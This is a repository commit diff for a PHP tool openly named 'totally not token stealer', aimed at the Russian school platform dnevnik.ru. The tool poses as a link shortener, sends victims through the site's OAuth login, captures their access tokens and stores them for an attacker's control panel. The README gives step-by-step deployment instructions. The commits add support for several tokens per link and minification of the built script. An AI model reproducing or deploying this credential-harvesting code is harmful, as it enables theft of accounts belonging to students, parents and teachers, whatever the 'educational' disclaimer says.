Compare commits
5 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| a20e7e8d54 | |||
| 6f0673973f | |||
| 1abd0d4613 | |||
| 32885844cd | |||
| ee0daf0799 |
@@ -1,2 +1,3 @@
|
||||
totallynotstealeddata.*
|
||||
output.php
|
||||
preview.html
|
||||
@@ -2,33 +2,27 @@
|
||||
|
||||
# totally not token stealer
|
||||
|
||||
## утилита **для сокращения ссылок** чтобы **НЕ** красть токены с дневника ру
|
||||
## утилита **для сокращения ссылок**, которая **НЕ** крадёт токены с днeвникa py
|
||||
|
||||
---
|
||||
> [!IMPORTANT]
|
||||
> __ВАЖНОЕ ЗАМЕЧАНИЕ!__
|
||||
> это прямое доказательство того, что днeвник py - _стaрая платформа с огромным количеством yязвиmocтей_.
|
||||
> половина кодовой базы была написана в далёких 00-х, и до сих пор _осталось огромное количество легаси кода_.
|
||||
> __наша цель - предоставление прозрачности__, а не вмешательство в образовательный процесс.
|
||||
|
||||
## КАК **НЕ** УСТАНОВИТЬ
|
||||
|
||||
1. скачай `totallynottokenstealer.php` с Releases
|
||||
2. выгрузи файл на любой php-хостинг
|
||||
3. переименуй как душе угодно _(главное оставь расширение `.php`)_
|
||||
4. поменяй пароль от панели в `PANEL_PASSWORD`
|
||||
5. **готово!** панель открывается при помощи `?control` в url (по типу `example.com/example.php?control`)
|
||||
|
||||
---
|
||||
|
||||

|
||||
|
||||
---
|
||||
|
||||
## КАК **НЕ** БИЛДИТЬ
|
||||
## билд
|
||||
|
||||
- используй `node ./builder.js` или какой раннер js вы там юзаете
|
||||
- для **DEV** режима `node ./bulder.js --dev`
|
||||
- дальше можно запустить встроеный `php -S localhost:8080` или что вам там нужно
|
||||
- дальше можно запустить встроенный `php -S localhost:8080` или что вам там нужно
|
||||
|
||||
---
|
||||
|
||||
> [!CAUTION]
|
||||
> Я **НЕ НЕСУ ОТВЕТСТВЕННОСТИ** ЗА ТО, КАК ВЫ БУДЕТЕ ИСПОЛЬЗОВАТЬ ЭТО ПО.
|
||||
> ОНО БЫЛО СОЗДАННО ИСКЛЮЧИТЕЛЬНО **В ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЯХ**, И ДЕМОНСТРИРУЕТ ОТСУТСТВИЕ ЗАЩИТЫ ДНЕВНИКА.РУ.
|
||||
> **НЕ ЗЛОУПОТРЕБЛЯЙТЕ ИМ!!**
|
||||
> МЫ **НЕ НЕСЁМ ОТВЕТСТВЕННОСТИ** ЗА ТО, КАК ВЫ БУДЕТЕ ИСПОЛЬЗОВАТЬ ЭТО ПО.
|
||||
> ЭТО **ДЕМОНСТРАЦИЯ УЯЗВИМОСТИ**.
|
||||
> **НЕ ЗЛОУПОТРЕБЛЯЙТЕ УТИЛИТОЙ!!**
|
||||
+124
@@ -8,6 +8,101 @@ const DEV = process.argv.includes("--dev");
|
||||
const escape = (str) =>
|
||||
str.replace(/\s+/g, " ").trim().replace(/"/g, '\\"').replace(/\$/g, "\\$");
|
||||
|
||||
const minifyPhp = (code) => {
|
||||
let minified = "";
|
||||
let i = 0;
|
||||
let inString = false;
|
||||
let stringChar = "";
|
||||
let inComment = false;
|
||||
let inMultilineComment = false;
|
||||
|
||||
while (i < code.length) {
|
||||
const char = code[i];
|
||||
const nextChar = code[i + 1];
|
||||
const nextTwoChars = code.substring(i, i + 2);
|
||||
|
||||
// Handle strings
|
||||
if ((char === '"' || char === "'") && !inComment && !inMultilineComment) {
|
||||
if (!inString) {
|
||||
inString = true;
|
||||
stringChar = char;
|
||||
minified += char;
|
||||
} else if (char === stringChar && code[i - 1] !== "\\") {
|
||||
inString = false;
|
||||
minified += char;
|
||||
} else {
|
||||
minified += char;
|
||||
}
|
||||
i++;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (inString) {
|
||||
minified += char;
|
||||
i++;
|
||||
continue;
|
||||
}
|
||||
|
||||
// Handle multiline comments
|
||||
if (nextTwoChars === "/*" && !inComment) {
|
||||
inMultilineComment = true;
|
||||
i += 2;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (nextTwoChars === "*/" && inMultilineComment) {
|
||||
inMultilineComment = false;
|
||||
i += 2;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (inMultilineComment) {
|
||||
i++;
|
||||
continue;
|
||||
}
|
||||
|
||||
// Handle single-line comments
|
||||
if (nextTwoChars === "//" && !inComment) {
|
||||
inComment = true;
|
||||
i += 2;
|
||||
continue;
|
||||
}
|
||||
|
||||
if ((char === "\n" || char === "\r") && inComment) {
|
||||
inComment = false;
|
||||
// Don't append the newline directly — let it fall through to the
|
||||
// whitespace-collapse logic below so it becomes a single space (or
|
||||
// nothing) instead of a literal newline.
|
||||
}
|
||||
|
||||
if (inComment) {
|
||||
i++;
|
||||
continue;
|
||||
}
|
||||
|
||||
// Remove unnecessary whitespace
|
||||
if (/\s/.test(char)) {
|
||||
if (minified && !/\s$/.test(minified) && !/[\{\[\(]$/.test(minified)) {
|
||||
const nextNonWhitespace = code.substring(i).match(/\S/);
|
||||
if (
|
||||
nextNonWhitespace &&
|
||||
!/[\}\]\)]/.test(nextNonWhitespace[0]) &&
|
||||
!/[;,:]/.test(nextNonWhitespace[0])
|
||||
) {
|
||||
minified += " ";
|
||||
}
|
||||
}
|
||||
i++;
|
||||
continue;
|
||||
}
|
||||
|
||||
minified += char;
|
||||
i++;
|
||||
}
|
||||
|
||||
return minified.trim();
|
||||
};
|
||||
|
||||
function build() {
|
||||
const data = fs.readFileSync("./script.php", "utf8");
|
||||
const mountRegex = /"<<BUILDER_MOUNT_FILE_\((?<file>.*?)\)>>"/gm;
|
||||
@@ -42,6 +137,35 @@ function build() {
|
||||
fs.writeFileSync("./output.php", result, "utf8");
|
||||
console.log(`[${new Date().toLocaleTimeString()}] Built output.php`);
|
||||
|
||||
// Minify PHP after @BUILDER_BEGIN_MINIFY marker
|
||||
try {
|
||||
let phpContent = fs.readFileSync("./output.php", "utf8");
|
||||
const minifyMarker = "// @BUILDER_BEGIN_MINIFY";
|
||||
const markerIndex = phpContent.indexOf(minifyMarker);
|
||||
|
||||
if (markerIndex !== -1) {
|
||||
// Cut from the start of the marker's line so any indentation on that
|
||||
// line doesn't leak into the untouched "before" section.
|
||||
const lineStart = phpContent.lastIndexOf("\n", markerIndex) + 1;
|
||||
const beforeMinify = phpContent.substring(0, lineStart);
|
||||
const afterMarker = phpContent.substring(
|
||||
markerIndex + minifyMarker.length,
|
||||
);
|
||||
const minifiedPart = minifyPhp(afterMarker);
|
||||
// The marker itself is a `//` comment — it must NOT be written back
|
||||
// into the output, otherwise everything appended right after it on
|
||||
// the same line gets swallowed as part of that comment.
|
||||
const finalContent = beforeMinify + minifiedPart;
|
||||
|
||||
fs.writeFileSync("./output.php", finalContent, "utf8");
|
||||
console.log(
|
||||
`[${new Date().toLocaleTimeString()}] Minified PHP (reduced by ${(100 - (minifiedPart.length / afterMarker.length) * 100).toFixed(1)}%)`,
|
||||
);
|
||||
}
|
||||
} catch (err) {
|
||||
console.error("Minification error:", err.message);
|
||||
}
|
||||
|
||||
return mountedFiles;
|
||||
}
|
||||
|
||||
|
||||
+10
-3
@@ -527,7 +527,7 @@
|
||||
</script>
|
||||
</body>
|
||||
<script>
|
||||
/** @param {{error?: string; password: string; data: {name: string; url: string; comment: string; token: string | null}[] }} data */
|
||||
/** @param {{error?: string; password: string; data: {name: string; url: string; comment: string; tokens: string[]}[] }} data */
|
||||
const appendData = (data) => {
|
||||
if (data.error) {
|
||||
document.querySelector("[k-m-error]").innerHTML = renderTemplate(
|
||||
@@ -543,8 +543,15 @@
|
||||
let completedBlocks = [];
|
||||
let activeBlocks = [];
|
||||
data.data.forEach((item) => {
|
||||
if (!!item.token) {
|
||||
completedBlocks.push(renderTemplate("complete_row", item));
|
||||
if (item.tokens.length > 0) {
|
||||
item.tokens.forEach(token => {
|
||||
completedBlocks.push(renderTemplate("complete_row", {
|
||||
name: item.name,
|
||||
url: item.url,
|
||||
comment: item.comment,
|
||||
token
|
||||
}));
|
||||
});
|
||||
} else {
|
||||
activeBlocks.push(
|
||||
renderTemplate("active_row", {
|
||||
|
||||
@@ -1,243 +0,0 @@
|
||||
<!--
|
||||
half ai slop
|
||||
entire html just to screenshot
|
||||
|
||||
p.s.
|
||||
— I love you, Саша
|
||||
— Я тебя также
|
||||
— Ты ведь хочешь?
|
||||
— Даже очень!
|
||||
-->
|
||||
<!doctype html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<title>Document</title>
|
||||
<style>
|
||||
*,
|
||||
*::before,
|
||||
*::after {
|
||||
box-sizing: border-box;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
[k-template] {
|
||||
display: none;
|
||||
}
|
||||
|
||||
:root {
|
||||
--bg: #0d0d0f;
|
||||
--surface: #131316;
|
||||
--surface2: #1a1a1f;
|
||||
--border: rgba(255, 255, 255, 0.06);
|
||||
--border-bright: rgba(255, 255, 255, 0.14);
|
||||
--text: #ffffff;
|
||||
--muted: #d3d3dd;
|
||||
--too-muted: #84848f;
|
||||
--blue: #4f8ef7;
|
||||
--blue-dim: rgba(79, 142, 247, 0.12);
|
||||
--green: #3ecf8e;
|
||||
--green-dim: rgba(62, 207, 142, 0.12);
|
||||
--red: #f76f6f;
|
||||
--red-dim: rgba(247, 111, 111, 0.12);
|
||||
}
|
||||
|
||||
body {
|
||||
font-family: "JetBrains Mono", monospace;
|
||||
background: var(--bg);
|
||||
color: var(--text);
|
||||
min-height: 100vh;
|
||||
}
|
||||
|
||||
.shell {
|
||||
min-height: 100vh;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
padding: 2rem 1rem;
|
||||
}
|
||||
|
||||
.card {
|
||||
width: 100%;
|
||||
max-width: 500px;
|
||||
background: var(--surface);
|
||||
border: 1px solid var(--border-bright);
|
||||
border-radius: 12px;
|
||||
overflow: hidden;
|
||||
box-shadow:
|
||||
0 0 0 1px rgba(0, 0, 0, 0.5),
|
||||
0 24px 64px rgba(0, 0, 0, 0.6);
|
||||
}
|
||||
|
||||
.titlebar {
|
||||
background: var(--surface2);
|
||||
border-bottom: 1px solid var(--border-bright);
|
||||
padding: 12px 18px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 12px;
|
||||
position: relative;
|
||||
}
|
||||
.dots {
|
||||
display: flex;
|
||||
gap: 6px;
|
||||
}
|
||||
.dot {
|
||||
width: 11px;
|
||||
height: 11px;
|
||||
border-radius: 50%;
|
||||
}
|
||||
.dot-r {
|
||||
background: #f76f6f;
|
||||
}
|
||||
.dot-y {
|
||||
background: #f5c842;
|
||||
}
|
||||
.dot-g {
|
||||
background: #3ecf8e;
|
||||
}
|
||||
.titlebar-name {
|
||||
font-size: 17px;
|
||||
font-weight: 800;
|
||||
color: var(--text);
|
||||
margin-left: 20px;
|
||||
margin-right: auto;
|
||||
}
|
||||
|
||||
.titlebar-by {
|
||||
position: absolute;
|
||||
right: 20px;
|
||||
height: 30px;
|
||||
}
|
||||
|
||||
.card-body {
|
||||
padding: 24px;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 24px;
|
||||
}
|
||||
|
||||
.error-area p {
|
||||
font-size: 12px;
|
||||
color: var(--red);
|
||||
background: var(--red-dim);
|
||||
border: 1px solid rgba(247, 111, 111, 0.25);
|
||||
border-radius: 6px;
|
||||
padding: 8px 14px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
|
||||
.field {
|
||||
background: var(--bg);
|
||||
border: 1px solid var(--border-bright);
|
||||
border-radius: 6px;
|
||||
padding: 8px 12px;
|
||||
color: var(--text);
|
||||
font-family: inherit;
|
||||
font-size: 12px;
|
||||
outline: none;
|
||||
transition:
|
||||
border-color 0.15s,
|
||||
box-shadow 0.15s;
|
||||
width: 100%;
|
||||
}
|
||||
.field::placeholder {
|
||||
color: var(--too-muted);
|
||||
}
|
||||
.field:focus {
|
||||
border-color: var(--blue);
|
||||
box-shadow: 0 0 0 3px var(--blue-dim);
|
||||
}
|
||||
textarea.field {
|
||||
resize: none;
|
||||
min-height: 68px;
|
||||
}
|
||||
|
||||
.btn-add {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 6px;
|
||||
background: var(--blue);
|
||||
color: #fff;
|
||||
font-family: inherit;
|
||||
font-size: 11px;
|
||||
font-weight: 700;
|
||||
letter-spacing: 0.08em;
|
||||
border: none;
|
||||
border-radius: 6px;
|
||||
padding: 7px 14px;
|
||||
cursor: pointer;
|
||||
transition:
|
||||
background 0.15s,
|
||||
transform 0.1s;
|
||||
}
|
||||
.btn-add:hover {
|
||||
background: #6aa3ff;
|
||||
}
|
||||
.btn-add:active {
|
||||
transform: scale(0.97);
|
||||
}
|
||||
|
||||
.form{
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
max-width: 600px;
|
||||
gap: 6px;
|
||||
}
|
||||
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div id="t_error" k-template>
|
||||
<p class="text-red-500 text-center">{{error}}</p>
|
||||
</div>
|
||||
|
||||
<div class="shell">
|
||||
<div class="card">
|
||||
<div class="titlebar">
|
||||
<div class="dots">
|
||||
<span class="dot dot-r"></span>
|
||||
<span class="dot dot-y"></span>
|
||||
<span class="dot dot-g"></span>
|
||||
</div>
|
||||
<img src="https://assets.ktkz.ru/ktkzXtmb.svg" alt="" class="titlebar-by">
|
||||
</div>
|
||||
<div class="card-body">
|
||||
<span class="titlebar-name">totally not token stealer</span>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
/** @param {{error?: string}} data */
|
||||
const appendData = (data) => {
|
||||
if (data.error) {
|
||||
document.querySelector("[k-m-error]").innerHTML = renderTemplate(
|
||||
"error",
|
||||
data,
|
||||
);
|
||||
}
|
||||
};
|
||||
|
||||
/** @param {string} name
|
||||
* @param {object} values
|
||||
*/
|
||||
const renderTemplate = (name, values) => {
|
||||
const el = document.querySelector(`[k-template]#t_${name}`);
|
||||
if (!el) return;
|
||||
let d = el.innerHTML;
|
||||
Object.keys(values).forEach((i) => {
|
||||
d = d.split(`{{${i}}}`).join(values[i].toString());
|
||||
});
|
||||
return d;
|
||||
};
|
||||
|
||||
window["_appendData"] = appendData;
|
||||
</script>
|
||||
<script>window._appendData("<<BUILDER_PHP_VAR($data)>>")</script>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
+28
-11
@@ -2,7 +2,7 @@
|
||||
// totally not token stealer
|
||||
// for dnevnik.ru
|
||||
// =========================
|
||||
// by ktkz for tmb project
|
||||
// by ktkz
|
||||
// 2026
|
||||
|
||||
// go to .php?control to open control panel
|
||||
@@ -15,6 +15,8 @@ const AUTH_URL = "https://login.dnevnik.ru/login/?ReturnUrl=";
|
||||
const OAUTH_URL = "https://login.dnevnik.ru/oauth2?response_type=token&client_id=b8006d75-70a9-4291-885c-13d8511bb2ae&scope=CommonInfo,EducationalInfo,FriendsAndRelatives&redirect_uri=";
|
||||
// ============
|
||||
|
||||
// @BUILDER_BEGIN_MINIFY
|
||||
|
||||
// ===PAGES===
|
||||
// NOTE: contains ai-generated styles and mine shitty while state-of-art template system
|
||||
// we use builder to mount these
|
||||
@@ -32,8 +34,17 @@ function CONTROL_PAGE(string $data)
|
||||
if (!file_exists(DATA_FILE_PATH)) {
|
||||
file_put_contents(
|
||||
DATA_FILE_PATH,
|
||||
'<?php // { "name": "tnts", "version": 1, "data": [] }',
|
||||
'<?php // { "name": "tnts", "version": 2, "data": [] }',
|
||||
);
|
||||
} else {
|
||||
$config = readConfig(true);
|
||||
// migrate config to v2
|
||||
if ($config['version'] > 2) {
|
||||
for ($i = 0; $i < count($config['data']); $i++) {
|
||||
$config['data'][$i]['tokens'] = $config['data'][$i]['token'] !== null ? [$config['data'][$i]['token']] : [];
|
||||
unset($config['data'][$i]['token']);
|
||||
}
|
||||
}
|
||||
}
|
||||
// ROUTER
|
||||
function path(string $p)
|
||||
@@ -41,6 +52,7 @@ function path(string $p)
|
||||
return count($_GET) > 0 && array_keys($_GET)[0] == $p;
|
||||
}
|
||||
|
||||
// open control panel
|
||||
if (path("control")) {
|
||||
if (!isset($_GET["l"]) || $_GET["l"] == "") {
|
||||
echo LOGIN_PAGE("{}");
|
||||
@@ -68,7 +80,7 @@ if (path("control")) {
|
||||
}
|
||||
}
|
||||
|
||||
function readConfig()
|
||||
function readConfig(bool $fullConfig = false)
|
||||
{
|
||||
$_ = json_decode(
|
||||
str_replace("<?php // ", "", file_get_contents(DATA_FILE_PATH)),
|
||||
@@ -77,12 +89,12 @@ function readConfig()
|
||||
if ($_["name"] != "tnts" || !isset($_["data"])) {
|
||||
exit();
|
||||
}
|
||||
return $_["data"];
|
||||
return $fullConfig ? $_ : $_["data"];
|
||||
}
|
||||
|
||||
function saveConfig(array $config)
|
||||
{
|
||||
$_ = ["name" => "tnts", "version" => 1, "data" => $config];
|
||||
$_ = ["name" => "tnts", "version" => 2, "data" => $config];
|
||||
file_put_contents(DATA_FILE_PATH, "<?php // " . json_encode($_));
|
||||
}
|
||||
// config type
|
||||
@@ -91,12 +103,13 @@ function saveConfig(array $config)
|
||||
// "name": string,
|
||||
// "url": string,
|
||||
// "comment": string?,
|
||||
// "token": string?
|
||||
// "tokens": string[]
|
||||
// }
|
||||
// }
|
||||
//
|
||||
// define status by token presence
|
||||
|
||||
// create link
|
||||
if (
|
||||
isset($_GET["do"]) &&
|
||||
$_GET["do"] === "create" &&
|
||||
@@ -106,7 +119,6 @@ if (
|
||||
if (!isset($_GET["l"]) || $_GET["l"] == "" || $_GET["l"] != PANEL_PASSWORD) {
|
||||
exit();
|
||||
}
|
||||
// create link
|
||||
$url = $_GET["url"];
|
||||
$name = $_GET["name"];
|
||||
$comment = $_GET["comment"] ?? null;
|
||||
@@ -135,7 +147,7 @@ if (
|
||||
"name" => $name,
|
||||
"url" => $url,
|
||||
"comment" => $comment,
|
||||
"token" => null,
|
||||
"tokens" => [],
|
||||
];
|
||||
|
||||
saveConfig($config);
|
||||
@@ -180,6 +192,8 @@ function getBaseUrl(): string
|
||||
return $scheme . "://" . $host . $script;
|
||||
}
|
||||
|
||||
// step 1
|
||||
// get token and return back
|
||||
if (isset($_GET["go"])) {
|
||||
$config = readConfig();
|
||||
$matches = array_values(
|
||||
@@ -201,11 +215,12 @@ if (path("info")) {
|
||||
header("Content-type: application/json");
|
||||
echo json_encode([
|
||||
"name" => "totally not token stealer",
|
||||
"version" => "1.0.0",
|
||||
"version" => "1.1.0",
|
||||
"author" => "ktkz",
|
||||
]);
|
||||
}
|
||||
|
||||
// step 2
|
||||
// send save page and redirect to destination
|
||||
if (path("callback") && isset($_GET["name"])) {
|
||||
$base = parse_url($_SERVER["REQUEST_URI"], PHP_URL_PATH);
|
||||
$config = readConfig();
|
||||
@@ -226,6 +241,8 @@ if (path("callback") && isset($_GET["name"])) {
|
||||
exit();
|
||||
}
|
||||
|
||||
// step 2.1
|
||||
// save
|
||||
if (path("send") && isset($_GET["name"]) && isset($_GET["token"])) {
|
||||
$config = readConfig();
|
||||
$matches = array_values(
|
||||
@@ -238,6 +255,6 @@ if (path("send") && isset($_GET["name"]) && isset($_GET["token"])) {
|
||||
exit();
|
||||
}
|
||||
|
||||
$config[array_search($matches[0], $config)]["token"] = $_GET["token"];
|
||||
array_push($config[array_search($matches[0], $config)]["tokens"], $_GET["token"]);
|
||||
saveConfig($config);
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user